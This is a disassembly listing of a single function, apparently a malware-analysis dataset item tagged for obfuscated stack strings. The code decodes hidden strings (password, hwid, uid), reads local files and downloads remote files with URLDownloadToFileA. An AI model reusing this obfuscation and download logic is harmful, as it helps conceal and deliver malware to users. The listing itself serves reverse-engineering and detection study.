Function at 0x443560
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xffffffe0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4725ca
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x388
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
xorps xmm0, xmm0
mov dword [ebp - 0x13c], 0
movups xmmword [ebp - 0x14c], xmm0
mov dword [ebp - 0x138], 0xf
mov byte [ebp - 0x14c], 0
mov dword [ebp - 4], 0
push 0x30
movups xmmword [ebp - 0x1b0], xmm0
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
call fcn.00447c1e
movups xmm0, xmmword [str.C:NemezidaP9xaEuFnqmtVDQ6.data]
mov dword [ebp - 0x1b0], eax
add esp, 4
mov dword [ebp - 0x1a0], 0x20
mov dword [ebp - 0x19c], 0x2f
movups xmmword [eax], xmm0
movups xmm0, xmmword [0x487fd0]
movups xmmword [eax + 0x10], xmm0
mov byte [eax + 0x20], 0
mov byte [ebp - 4], 1
xorps xmm0, xmm0
push 0x30
movups xmmword [ebp - 0x198], xmm0
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 0xf
call fcn.00447c1e
movups xmm0, xmmword [str.C:NemezidaJXCcdw5YaVrrZRf.data]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x188], 0x20
mov dword [ebp - 0x184], 0x2f
movups xmmword [eax], xmm0
movups xmm0, xmmword [0x487ff4]
movups xmmword [eax + 0x10], xmm0
mov byte [eax + 0x20], 0
sub esp, 8
mov byte [ebp - 4], 2
lea eax, [ebp - 0x1b0]
lea ecx, [ebp - 0x2d8]
push eax
call fcn.00445ae0
mov byte [ebp - 4], 3
cmp dword [ebp - 0x27c], 0
je 0x443747
mov eax, dword [ebp - 0x2d8]
lea ecx, [ebp - 0x2d8]
push 0xa
mov eax, dword [eax + 4]
add ecx, eax
call fcn.00440600
push eax
lea edx, [ebp - 0x14c]
lea ecx, [ebp - 0x2d8]
call fcn.00446550
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x443747
nop dword [eax]
cmp byte [0x6f8e66], 0
jne 0x44370e
cmp dword [ebp - 0x138], 0xf
lea eax, [ebp - 0x14c]
push dword [ebp - 0x13c]
cmova eax, dword [ebp - 0x14c]
mov ecx, 0x6f79e0
push eax
call fcn.0043acf0
mov eax, dword [ebp - 0x2d8]
lea ecx, [ebp - 0x2d8]
push 0xa
mov eax, dword [eax + 4]
add ecx, eax
call fcn.00440600
push eax
lea edx, [ebp - 0x14c]
lea ecx, [ebp - 0x2d8]
call fcn.00446550
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x4436e0
lea ecx, [ebp - 0x2d8]
call fcn.0043edf0
sub esp, 0xc
lea eax, [ebp - 0x198]
lea ecx, [ebp - 0x390]
push eax
call fcn.00445ae0
mov byte [ebp - 4], 4
cmp dword [ebp - 0x334], 0
je 0x443818
mov eax, dword [ebp - 0x390]
lea ecx, [ebp - 0x390]
push 0xa
mov eax, dword [eax + 4]
add ecx, eax
call fcn.00440600
push eax
lea edx, [ebp - 0x14c]
lea ecx, [ebp - 0x390]
call fcn.00446550
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x443818
cmp byte [0x6f8e66], 0
jne 0x4437df
cmp dword [ebp - 0x138], 0xf
lea eax, [ebp - 0x14c]
push dword [ebp - 0x13c]
cmova eax, dword [ebp - 0x14c]
mov ecx, 0x6f79f8
push eax
call fcn.0043acf0
mov eax, dword [ebp - 0x390]
lea ecx, [ebp - 0x390]
push 0xa
mov eax, dword [eax + 4]
add ecx, eax
call fcn.00440600
push eax
lea edx, [ebp - 0x14c]
lea ecx, [ebp - 0x390]
call fcn.00446550
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x4437b1
lea ecx, [ebp - 0x2d8]
call fcn.0043edf0
mov ax, word [0x487f90]
xorps xmm0, xmm0
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x108], 0xa
movq xmm0, qword [str.password]
mov dword [ebp - 0x104], 0xf
movq qword [ebp - 0x118], xmm0
mov word [ebp - 0x110], ax
mov byte [ebp - 0x10e], 0
mov byte [ebp - 4], 5
lea edx, [ebp - 0x80]
mov dword [ebp - 0x80], 0xf4994d74
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0x7c], 0x3838696f
mov dword [ebp - 0x78], 0x776b567a
mov dword [ebp - 0x74], 0xdc01db71
mov dword [ebp - 0x70], 0x6d9f5c71
mov dword [ebp - 0x6c], 0x3f2c6678
mov dword [ebp - 0x68], 0x8ebe5769
mov dword [ebp - 0x64], 0xcce18f72
vmovdqu ymm0, ymmword [ebp - 0x80]
mov dword [ebp - 0x60], 0x716d516c
mov dword [ebp - 0x5c], 0x6b7ee23
mov dword [ebp - 0x58], 0xb628576e
mov dword [ebp - 0x54], 0x61d0079
vmovaps xmm1, xmmword [ebp - 0x60]
mov dword [ebp - 0xc0], 0x84ed391c
mov dword [ebp - 0xbc], 0x1717531c
mov dword [ebp - 0xb8], 0x219391c
mov dword [ebp - 0xb4], 0xb96ff51c
mov dword [ebp - 0xb0], 0x4e5391c
mov dword [ebp - 0xac], 0x5902071c
mov dword [ebp - 0xa8], 0xe791391c
mov dword [ebp - 0xa4], 0xe28ee91c
vpxor ymm0, ymm0, ymmword [ebp - 0xc0]
mov dword [ebp - 0xa0], 0x5e1d391c
mov dword [ebp - 0x9c], 0x63c49b1c
mov dword [ebp - 0x98], 0xdb49391c
mov dword [ebp - 0x94], 0x61d3d1c
vxorps xmm1, xmm1, xmmword [ebp - 0xa0]
vmovdqa ymmword [ebp - 0x80], ymm0
vmovaps xmmword [ebp - 0x60], xmm1
push 0x6f79e0
vzeroupper
call fcn.00445ef0
add esp, 4
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 6
push ecx
push eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0x178]
call fcn.00446120
sub esp, 0x18
mov byte [ebp - 4], 7
mov esi, esp
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x28], esi
push 0x6f79f8
call fcn.0043f090
xorps xmm0, xmm0
lea ecx, [ebp - 0x134]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0043aee0
add esp, 0x18
mov edx, dword [eax + 0x10]
cmp dword [eax + 0x14], 0xf
jbe 0x4439f6
mov eax, dword [eax]
push 7
push str.success
mov ecx, eax
call fcn.0043a7c0
mov ecx, dword [ebp - 0x120]
add esp, 8
mov byte [ebp - 0x21], al
cmp ecx, 0xf
jbe 0x443a44
mov edx, dword [ebp - 0x134]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443a3a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a22
push ecx
push edx
call fcn.00447c10
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
cmp ecx, 0xf
jbe 0x443a9d
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443a93
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a22
push ecx
push edx
call fcn.00447c10
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0xf
mov byte [ebp - 0x178], 0
cmp ecx, 0xf
jbe 0x443af6
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443aec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a22
push ecx
push edx
call fcn.00447c10
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0xf
mov byte [ebp - 0xf8], 0
cmp ecx, 0xf
jbe 0x443b4f
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443b45
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a22
push ecx
push edx
call fcn.00447c10
add esp, 8
cmp byte [ebp - 0x21], 0
je 0x44490f
lea eax, [ebp - 0x118]
push eax
call fcn.0043a890
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 8
lea edx, [ebp - 0x80]
mov dword [ebp - 0x80], 0xf4994d74
lea ecx, [ebp - 0x134]
mov dword [ebp - 0x7c], 0x3838696f
mov dword [ebp - 0x78], 0x776b567a
mov dword [ebp - 0x74], 0xdc01db71
mov dword [ebp - 0x70], 0x6d9f5c71
mov dword [ebp - 0x6c], 0x3f2c6678
mov dword [ebp - 0x68], 0x8fbe5769
mov dword [ebp - 0x64], 0xccea806b
vmovdqu ymm0, ymmword [ebp - 0x80]
mov dword [ebp - 0x60], 0x716d516c
mov dword [ebp - 0x5c], 0x6b7ee23
mov dword [ebp - 0x58], 0xb628576e
mov dword [ebp - 0x54], 0x61d0079
vmovaps xmm1, xmmword [ebp - 0x60]
mov dword [ebp - 0xc0], 0x84ed391c
mov dword [ebp - 0xbc], 0x1717531c
mov dword [ebp - 0xb8], 0x219391c
mov dword [ebp - 0xb4], 0xb96ff51c
mov dword [ebp - 0xb0], 0x4e5391c
mov dword [ebp - 0xac], 0x5902071c
mov dword [ebp - 0xa8], 0xe791391c
mov dword [ebp - 0xa4], 0xe28ee91c
vpxor ymm0, ymm0, ymmword [ebp - 0xc0]
mov dword [ebp - 0xa0], 0x5e1d391c
mov dword [ebp - 0x9c], 0x63c49b1c
mov dword [ebp - 0x98], 0xdb49391c
mov dword [ebp - 0x94], 0x61d3d1c
vxorps xmm1, xmm1, xmmword [ebp - 0xa0]
vmovdqa ymmword [ebp - 0x80], ymm0
vmovaps xmmword [ebp - 0x60], xmm1
push 0x6f79e0
vzeroupper
call fcn.00445ef0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 9
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 6
jb 0x443cb2
lea eax, [ecx + 6]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x443c99
mov eax, dword [edi]
push 6
lea esi, [eax + ecx]
push str.hwid
push esi
call fcn.0044a340
add esp, 0xc
mov byte [esi + 6], 0
jmp 0x443cd1
push 6
push str.hwid
mov byte [ebp - 0x11c], 0
mov ecx, edi
push dword [ebp - 0x11c]
push 6
call fcn.0043a570
mov edi, eax
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x178], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x168], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
sub esp, 0x18
mov byte [ebp - 4], 0xa
mov ecx, esp
lea eax, [ebp - 0x178]
mov dword [ebp - 0x11c], ecx
push dword [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.00446120
lea ecx, [ebp - 0xf8]
call fcn.0043aee0
add esp, 0x18
cmp dword [eax + 0x14], 0xf
mov edx, dword [eax + 0x10]
jbe 0x443d33
mov eax, dword [eax]
push 2
push 0x487f94
mov ecx, eax
call fcn.0043a7c0
mov ecx, dword [ebp - 0xe4]
add esp, 8
mov byte [ebp - 0x21], al
cmp ecx, 0xf
jbe 0x443d81
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443d77
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a27
push ecx
push edx
call fcn.00447c10
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0xf
mov byte [ebp - 0xf8], 0
cmp ecx, 0xf
jbe 0x443dda
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443dd0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a27
push ecx
push edx
call fcn.00447c10
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x120]
cmp ecx, 0xf
jbe 0x443e18
mov edx, dword [ebp - 0x134]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443e0e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a27
push ecx
push edx
call fcn.00447c10
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], 0
cmp ecx, 0xf
jbe 0x443e71
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x443e67
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a27
push ecx
push edx
call fcn.00447c10
add esp, 8
cmp byte [ebp - 0x21], 0
je 0x44490f
mov dword [ebp - 0x80], 0xf4994d74
lea edx, [ebp - 0x80]
mov dword [ebp - 0x7c], 0x3838696f
lea ecx, [ebp - 0x134]
mov dword [ebp - 0x78], 0x776b567a
mov dword [ebp - 0x74], 0xdc01db71
mov dword [ebp - 0x70], 0x6d9f5c71
mov dword [ebp - 0x6c], 0x3f2c6678
mov dword [ebp - 0x68], 0x8ebe5769
mov dword [ebp - 0x64], 0xcce18f72
vmovdqu ymm0, ymmword [ebp - 0x80]
mov dword [ebp - 0x60], 0x716d516c
mov dword [ebp - 0x5c], 0x6b7ee23
mov dword [ebp - 0x58], 0xb628576e
mov dword [ebp - 0x54], 0x61d0079
vmovaps xmm1, xmmword [ebp - 0x60]
mov dword [ebp - 0xc0], 0x84ed391c
mov dword [ebp - 0xbc], 0x1717531c
mov dword [ebp - 0xb8], 0x219391c
mov dword [ebp - 0xb4], 0xb96ff51c
mov dword [ebp - 0xb0], 0x4e5391c
mov dword [ebp - 0xac], 0x5902071c
mov dword [ebp - 0xa8], 0xe791391c
mov dword [ebp - 0xa4], 0xe28ee91c
vpxor ymm0, ymm0, ymmword [ebp - 0xc0]
mov dword [ebp - 0xa0], 0x5e1d391c
mov dword [ebp - 0x9c], 0x63c49b1c
mov dword [ebp - 0x98], 0xdb49391c
mov dword [ebp - 0x94], 0x61d3d1c
vxorps xmm1, xmm1, xmmword [ebp - 0xa0]
vmovdqa ymmword [ebp - 0x80], ymm0
vmovaps xmmword [ebp - 0x60], xmm1
push 0x6f79e0
vzeroupper
call fcn.00445ef0
mov edi, eax
mov byte [ebp - 4], 0xb
sub esp, 0x14
mov edx, dword [edi + 0x14]
mov esi, esp
mov ecx, dword [edi + 0x10]
mov eax, edx
sub eax, ecx
mov dword [ebp - 0x28], esi
cmp eax, 0xb
jb 0x443fc9
lea eax, [ecx + 0xb]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x443fad
mov eax, dword [edi]
push 0xb
lea esi, [eax + ecx]
push str.isMemberOf
push esi
call fcn.0044a340
mov byte [esi + 0xb], 0
add esp, 0xc
mov esi, dword [ebp - 0x28]
jmp 0x443fe2
push 0xb
push str.isMemberOf
mov byte [ebp - 0x28], 0
mov ecx, edi
push dword [ebp - 0x28]
push 0xb
call fcn.0043a570
mov edi, eax
xorps xmm0, xmm0
lea ecx, [ebp - 0xf8]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [edi]
movups xmmword [esi], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
call fcn.0043aee0
add esp, 0x18
cmp dword [eax + 0x14], 0xf
mov edx, dword [eax + 0x10]
jbe 0x444030
mov eax, dword [eax]
push 3
push 0x487fa0
mov ecx, eax
call fcn.0043a7c0
mov ecx, dword [ebp - 0xe4]
add esp, 8
mov byte [ebp - 0x21], al
cmp ecx, 0xf
jbe 0x44407e
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x444074
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a2c
push ecx
push edx
call fcn.00447c10
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x120]
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0xf
mov byte [ebp - 0xf8], 0
cmp ecx, 0xf
jbe 0x4440d7
mov edx, dword [ebp - 0x134]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4440cd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a2c
push ecx
push edx
call fcn.00447c10
add esp, 8
cmp byte [ebp - 0x21], 0
je 0x44490f
mov dword [ebp - 0x80], 0xd3c2035f
mov dword [ebp - 0x7c], 0x78733d75
mov dword [ebp - 0x78], 0x51364a6b
mov dword [ebp - 0x74], 0xd5039074
mov dword [ebp - 0x70], 0x61954159
mov dword [ebp - 0x6c], 0x37676e6e
mov dword [ebp - 0x68], 0xc8e25c7f
mov dword [ebp - 0x64], 0x92e18c4c
vmovdqu ymm0, ymmword [ebp - 0x80]
mov dword [ebp - 0xc0], 0x84ed391c
mov dword [ebp - 0xbc], 0x1717531c
mov dword [ebp - 0xb8], 0x219391c
mov dword [ebp - 0xb4], 0xb96ff51c
mov dword [ebp - 0xb0], 0x4e5391c
mov dword [ebp - 0xac], 0x5902071c
mov dword [ebp - 0xa8], 0xe791391c
mov dword [ebp - 0xa4], 0xe28ee91c
vpxor ymm0, ymm0, ymmword [ebp - 0xc0]
vmovdqa ymmword [ebp - 0x80], ymm0
mov dword [ebp - 0x60], 0x3f4d5c70
mov dword [ebp - 0x5c], 0xf97fe72
mov dword [ebp - 0x58], 0xf5395c79
mov dword [ebp - 0x54], 0x6715178
vmovaps xmm1, xmmword [ebp - 0x60]
mov dword [ebp - 0x220], 0xf4994d74
mov dword [ebp - 0x21c], 0x74387c26
mov dword [ebp - 0x218], 0x2c2b5778
mov dword [ebp - 0x214], 0xdc029072
mov dword [ebp - 0x210], 0x65815066
mov dword [ebp - 0x20c], 0x37776132
mov dword [ebp - 0x208], 0x82e07733
mov dword [ebp - 0x204], 0xd6c2a46e
vmovdqu ymm0, ymmword [ebp - 0x220]
mov dword [ebp - 0xe0], 0x84ed391c
mov dword [ebp - 0xdc], 0x1717531c
mov dword [ebp - 0xd8], 0x219391c
mov dword [ebp - 0xd4], 0xb96ff51c
mov dword [ebp - 0xd0], 0x4e5391c
mov dword [ebp - 0xcc], 0x5902071c
mov dword [ebp - 0xc8], 0xe791391c
mov dword [ebp - 0xc4], 0xe28ee91c
vpxor ymm0, ymm0, ymmword [ebp - 0xe0]
mov dword [ebp - 0x200], 0x37550a2e
mov dword [ebp - 0x1fc], 0x9f6d531
mov dword [ebp - 0x1f8], 0xaf1f717e
mov dword [ebp - 0x1f4], 0x4a7b5433
mov dword [ebp - 0x1f0], 0x28e05e79
mov dword [ebp - 0x1ec], 0x72945c6c
mov dword [ebp - 0x1e8], 0xea67d6c
mov dword [ebp - 0x1e4], 0xe648c26f
vmovdqa ymmword [ebp - 0x220], ymm0
vmovdqu ymm0, ymmword [ebp - 0x200]
mov dword [ebp - 0xa0], 0x5e1d391c
mov dword [ebp - 0x9c], 0x63c49b1c
mov dword [ebp - 0x98], 0xdb49391c
mov dword [ebp - 0x94], 0x61d3d1c
vxorps xmm1, xmm1, xmmword [ebp - 0xa0]
mov dword [ebp - 0xc0], 0x5e1d391c
mov dword [ebp - 0xbc], 0x63c49b1c
mov dword [ebp - 0xb8], 0xdb49391c
mov dword [ebp - 0xb4], 0x61d3d1c
mov dword [ebp - 0xb0], 0x6ad5391c
mov dword [ebp - 0xac], 0x7e06f1c
mov dword [ebp - 0xa8], 0x3bc1391c
mov dword [ebp - 0xa4], 0x952cb11c
vpxor ymm0, ymm0, ymmword [ebp - 0xc0]
vmovaps xmmword [ebp - 0x60], xmm1
mov dword [ebp - 0x1e0], 0x32e15d32
mov dword [ebp - 0x1dc], 0x2b6ec31c
mov dword [ebp - 0x1d8], 0x4139391c
mov dword [ebp - 0x1d4], 0xb4fba51c
vmovdqa ymmword [ebp - 0x200], ymm0
vmovaps xmm1, xmmword [ebp - 0x1e0]
mov dword [ebp - 0xa0], 0x5e8d391c
mov dword [ebp - 0x9c], 0x2b6ec31c
mov dword [ebp - 0x98], 0x4139391c
mov dword [ebp - 0x94], 0xb4fba51c
vxorps xmm1, xmm1, xmmword [ebp - 0xa0]
push 0
vmovaps xmmword [ebp - 0x1e0], xmm1
push 0
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x220]
push eax
push 0
vzeroupper
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [ebp - 0x80], 0xf4994d74
lea edx, [ebp - 0x80]
mov dword [ebp - 0x7c], 0x71387c26
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0x78], 0x6f6c4b73
mov dword [ebp - 0x74], 0xd40a9b32
mov dword [ebp - 0x70], 0x608c4379
mov dword [ebp - 0x6c], 0x2c64297d
mov dword [ebp - 0x68], 0x89f81672
mov dword [ebp - 0x64], 0x92a0867a
vmovdqu ymm0, ymmword [ebp - 0x80]
mov dword [ebp - 0x60], 0x2b224974
mov dword [ebp - 0x5c], 0xdb6fe6f
mov dword [ebp - 0x58], 0xe62c547d
mov dword [ebp - 0x54], 0x61d3d1c
vmovaps xmm1, xmmword [ebp - 0x60]
mov dword [ebp - 0xc0], 0x84ed391c
mov dword [ebp - 0xbc], 0x1717531c
mov dword [ebp - 0xb8], 0x219391c
mov dword [ebp - 0xb4], 0xb96ff51c
mov dword [ebp - 0xb0], 0x4e5391c
mov dword [ebp - 0xac], 0x5902071c
mov dword [ebp - 0xa8], 0xe791391c
mov dword [ebp - 0xa4], 0xe28ee91c
vpxor ymm0, ymm0, ymmword [ebp - 0xc0]
mov dword [ebp - 0xa0], 0x5e1d391c
mov dword [ebp - 0x9c], 0x63c49b1c
mov dword [ebp - 0x98], 0xdb49391c
mov dword [ebp - 0x94], 0x61d3d1c
vxorps xmm1, xmm1, xmmword [ebp - 0xa0]
vmovdqa ymmword [ebp - 0x80], ymm0
vmovaps xmmword [ebp - 0x60], xmm1
push 0x6f79e0
vzeroupper
call fcn.00445ef0
mov ecx, eax
mov byte [ebp - 4], 0xc
sub esp, 0x14
mov edi, dword [ecx + 0x14]
mov esi, esp
mov edx, dword [ecx + 0x10]
mov eax, edi
sub eax, edx
mov dword [ebp - 0x28], esi
cmp eax, 4
jb 0x444503
lea eax, [edx + 4]
mov dword [ecx + 0x10], eax
mov eax, ecx
cmp edi, 0xf
jbe 0x4444f5
mov eax, dword [ecx]
mov dword [eax + edx], 0x64697526
mov byte [eax + edx + 4], 0
jmp 0x44451a
push 4
push str.uid
mov byte [ebp - 0x28], 0
push dword [ebp - 0x28]
push 4
call fcn.0043a570
mov ecx, eax
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [ecx]
movups xmmword [esi], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea ecx, [ebp - 0x134]
call fcn.0043aee0
add esp, 0x18
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0xe4]
cmp ecx, 0xf
jbe 0x44459b
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x444591
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a31
push ecx
push edx
call fcn.00447c10
add esp, 8
mov dword [ebp - 0x80], 0xf4994d74
lea eax, [ebp - 0x134]
mov dword [ebp - 0x7c], 0x71387c26
lea edx, [ebp - 0x80]
mov dword [ebp - 0x78], 0x6f6c4b73
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x74], 0xd40a9b32
mov dword [ebp - 0x70], 0x608c4379
mov dword [ebp - 0x6c], 0x2c64297d
mov dword [ebp - 0x68], 0x86f51672
mov dword [ebp - 0x64], 0x83a18868
vmovdqu ymm0, ymmword [ebp - 0x80]
mov dword [ebp - 0x60], 0x3f69586a
mov dword [ebp - 0x5c], 0xfebe86e
mov dword [ebp - 0x58], 0xdb660933
mov dword [ebp - 0x54], 0x61d3d1c
vmovaps xmm1, xmmword [ebp - 0x60]
mov dword [ebp - 0xc0], 0x84ed391c
mov dword [ebp - 0xbc], 0x1717531c
mov dword [ebp - 0xb8], 0x219391c
mov dword [ebp - 0xb4], 0xb96ff51c
mov dword [ebp - 0xb0], 0x4e5391c
mov dword [ebp - 0xac], 0x5902071c
mov dword [ebp - 0xa8], 0xe791391c
mov dword [ebp - 0xa4], 0xe28ee91c
vpxor ymm0, ymm0, ymmword [ebp - 0xc0]
mov dword [ebp - 0xa0], 0x5e1d391c
mov dword [ebp - 0x9c], 0x63c49b1c
mov dword [ebp - 0x98], 0xdb49391c
mov dword [ebp - 0x94], 0x61d3d1c
vxorps xmm1, xmm1, xmmword [ebp - 0xa0]
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0xf
mov byte [ebp - 0xf8], 0
vmovdqa ymmword [ebp - 0x80], ymm0
vmovaps xmmword [ebp - 0x60], xmm1
push eax
vzeroupper
call fcn.00445ef0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xf
mov esi, dword [ecx + 0x14]
mov eax, esi
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp eax, 4
jb 0x4446f3
lea eax, [edx + 4]
mov dword [ecx + 0x10], eax
mov eax, ecx
cmp esi, 0xf
jbe 0x4446e5
mov eax, dword [ecx]
mov dword [eax + edx], 0x67706a2e
mov byte [eax + edx + 4], 0
jmp 0x44470a
push 4
push str..jpg
mov byte [ebp - 0x28], 0
push dword [ebp - 0x28]
push 4
call fcn.0043a570
mov ecx, eax
mov dword [ebp - 0x108], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x104], 0
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x118], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [ebp - 0x108], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
mov ecx, dword [ebp - 0x164]
cmp ecx, 0xf
jbe 0x44478a
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x444780
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a36
push ecx
push edx
call fcn.00447c10
add esp, 8
cmp dword [ebp - 0x104], 0xf
lea eax, [ebp - 0x118]
push 0
cmova eax, dword [ebp - 0x118]
lea ecx, [ebp - 0x100]
push 0
mov dword [ebp - 0x180], 0x84ed391c
mov dword [ebp - 0x17c], 0x1717531c
mov dword [ebp - 0x178], 0x219391c
mov dword [ebp - 0x174], 0xb96ff51c
mov dword [ebp - 0x170], 0x4e5391c
mov dword [ebp - 0x16c], 0x5902071c
mov dword [ebp - 0x168], 0xe791391c
mov dword [ebp - 0x164], 0xe28ee91c
vmovdqu ymm0, ymmword [ebp - 0x180]
push ecx
mov dword [ebp - 0x100], 0xcab1035f
mov dword [ebp - 0xfc], 0x6d723e79
mov dword [ebp - 0xf8], 0x5e785d75
mov dword [ebp - 0xf4], 0xde0e9875
mov dword [ebp - 0xf0], 0x71b94a79
mov dword [ebp - 0xec], 0x7770626f
mov dword [ebp - 0xe8], 0xe7f64976
mov dword [ebp - 0xe4], 0xe28ee91c
vpxor ymm0, ymm0, ymmword [ebp - 0x100]
push eax
vmovdqa ymmword [ebp - 0x100], ymm0
push 0
vzeroupper
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 0x104]
mov byte [0x6f8e67], 0
mov dword [0x6f7a30], 3
cmp ecx, 0xf
jbe 0x4448b8
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4448ae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x444a3b
push ecx
push edx
call fcn.00447c10
add esp, 8
mov ecx, dword [ebp - 0x120]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
